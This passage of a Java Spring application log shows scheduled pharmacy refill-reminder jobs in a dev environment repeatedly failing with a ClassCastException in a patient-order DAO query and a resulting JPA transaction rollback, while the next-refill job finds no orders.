org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at 